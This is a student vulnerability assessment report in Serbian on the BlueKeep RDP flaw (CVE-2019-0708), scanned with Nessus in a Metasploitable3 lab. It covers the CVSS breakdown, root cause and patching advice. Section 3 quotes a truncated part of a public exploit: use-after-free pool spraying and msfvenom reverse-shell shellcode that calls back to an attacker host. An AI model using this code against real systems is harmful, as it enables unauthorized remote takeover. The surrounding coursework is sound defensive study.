# Vulnerability Assessment Report Template

**Ime i prezime:** Spasoje Brborić
**Tim:** 9
**Datum:** 27.10.2024.
**Scan Tool:** Nessus (10.8.3)
**Test okruženje:** Metasploitable3

---

## 1. Enumeracija CVE-a

- **CVE ID:** CVE-2019-0708

- **Opis:**
  Kritična ranjivost poznata i kao “BlueKeep” i koja koristi TCP port 3389 na više verzija Windows sistema koji koriste RDS (Windows XP, Windows Server 2003, Windows 7, Windows Server 2008, Windows Server 2008 R2). Ona omogućava napadaču da se konektuje na ciljani sistem pomoću Microsoft RDP (Remote Desktop Protocol) i da izvede izvršavanje koda na daljinu (*remote code execution*), upravljanje podacima, kao i kreiranje naloga sa punim korisničkim pravima, i to bez potrebe za autentifikacijom.

---

## 2. CVSS skor

- **CVSS skor (numerička vrednost):** 9.8
- **Vektor:** AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  - **AV : N** - Eksploatacija se može desiti preko mreže, kao što je internet.
  - **AC : L** – Napad se lako izvodi i ne zahteva puno tehničkog znanja.
  - **PR : N** – Napadaču nisu potrebni specifični privilegiji ili nalog za uspešnu eksploataciju.
  - **UI : N** – Eksploatacija ne zahteva interakciju legitimnog korisnika.
  - **S : U** – Opseg ranjivosti nije promenjen.
  - **C : H** – Narušena je poverljivost, napadač dobija pristup informacijama koje bi trebale biti zaštićene.
  - **I : H** – Narušen je integritet, napadač može menjati fajlove ili podatke.
  - **A : H** – Narušena je dostupnost, napadač može ograničiti legitimni pristup sistemu.

- **Opravdanje:**
  Laka izvedba napada preko mreže za koju nije potrebna posebna autentifikacija, kao ni posebna interakcija legitimnog korisnika pokazuje lakoću eksploatacije, a sama eksploatacija dovodi do visoko narušene poverljivosti, integriteta i dostupnosti što pokazuje i visoku opasnost. Visoka opasnost i lakoća same eksploatacije opravdavaju visok 9.8 CVSS skor.

---

## 3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):** Da link ka exploit-u
- **Opis eksploita:**
  Ovaj exploit koristi ranjivost u Remote Desktop Protocol-u tako što šalje pakete instrukcija na port 3389 koje iskorišćavaju ranjivost i omogućavaju napadaču da izvrši svoj zlonameran kod na ciljanom sistemu. Uspešan napad može prouzrokovati potpuno preuzimanje kontrole nad sistemom, što uključuje i pristup svim podacima I fajlovima sistema.
- **Kod eksploita (ukoliko postoji):**

```
    print '[-] Freeing Object'
    free_mst120_channel = 'A' * 8 + '\x02' + '\x00' * 7
    sendToVirtualChannel(tls, free_mst120_channel, initiator, 1005)

    print '[-] Taking Over Freed Object And Pool Spraying'

    pool_size = 0x630

    pool_address = 0xfffffa80055ff980
    #pool_address = 0xfffffa800b5ff980

    pool_storage_address = pool_address + 0x48
    pool_shellcode_address = pool_address + 0x50

    fake_channel_object = '\x00' * 200 + pack('<Q', pool_storage_address) + '\x00' * 88

    # Reference: msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.0.175 LPORT=4444 -f python
    reverse_shell =
'\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\
+ pack('>H', lport) + socket.inet_aton(lhost) +
'\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\

    shellcode = makeKernelUserPayload(reverse_shell, pool_size)

    payload = pack('<Q', pool_shellcode_address) + shellcode
    for i in xrange(0x1000):
       sendToVirtualChannel(tls, fake_channel_object, initiator, 1006)
       for i in xrange(10):
          sendToVirtualChannel(tls, payload, initiator, 1006)

    #raw_input('Press Enter To Trigger UAF')
    print '[-] Triggering Used After Free'
    print
    print '[*] Enjoy Shell :) [*]'
    print
    tls.close()
```

1. Prvo, exploit uspostavlja konekciju sa ciljnim sistemom putem socket-a I TLS enkripcije kako bi uspostavio RDP sesiju, imitirajući legalnu vezu.

2. Nakon uspostavljanja sesije, koristi se tehnika “*pool spraying*”, koja popunjava memoriju ciljanog sistema tako što kreira veliki broj objekata.
3. Nakon pretrpavanja memorije, koristi se used-after-free ranjivost tako što se oslobađaju objekti iz memorije. Napadač nakon toga preuzima kontrolu nad oslobođenim delovima memorije i time mu je omogućeno da u te delove memorije unese shellcode.
4. Shellcode koji je ubačen u memoriju uspostavlja povratnu konekciju sa napadačem (reverse shell) koja omogućava napadaču kontrolu nad sistemom.

---

## 4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Tačno vreme kada je ova ranjivost uvedena nije specifično dokumentovano, ali je poznato da je uvedena u verzijama operativnog sistema Windows koje koriste RDS (Remote Desktop Services), i tu spadaju Windows XP, Windows Server 2003, Windows 7, Windows Server 2008, Windows Server 2008 R2. Problem leži u RDP-u koji nema adekvatnu validaciju podataka pri komunikaciji, čime stvara mogućnost use-after-free napada.

- **Primer Koda (ako je primenljivo):**

  Microsoft nije omogućio pristup kodu njegovog Remote Desktop Protocol-a u kom leži ranjivost.

---

## 5. Preporuke za mitigaciju

1. **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da, Microsoft je izbacio patch kojim rešava ovu ranjivost 14.05.2019. godine. link ka microsoft security update-u
2. **Mitigation Strategy**

   1) Proverite da li sistem pripada verzijama koje imaju opisanu ranjivost (Windows XP, Windows Server 2003, Windows 7, Windows Server 2008, Windows Server 2008 R2).
   2) Ažurirajte sistem: Unutar “Windows Update” instalirajte dostupna ažuriranja, uključujući i patch za ovu ranjivost.
   3) Restartujte sistem.

   Preporučeni alati sem “Windows Update” alata su System Center Configuration Manager I Windows Server Update Services, koji omogućavaju ažuriranje na više računara sa jednog mesta.

3. **Alternativni fix (ukoliko ne postoji vendorski):**

   Ako iz nekog razloga nije moguće ažurirati sistem i time primeniti patch koji rešava ovaj problem, preporuka je onemogućiti Remote Desktop Services (RDS) ako nisu neophodni.

   Još neka zaobilazna rešenja koja se mogu primeniti, iako je preporučeno izvršiti ažuriranje softvera kao primarno rešenje:

   1) Omogućite Network Level Authentication (NLA). Na ovaj način se blokiraju neautentifikovani napadači.
   2) Blokirajte TCP port 3389 unutar firewall-a. Na ovaj način je sistem zaštićen od napada koji dolaze van interne mreže, iako su unutrašnji napadi i dalje mogući.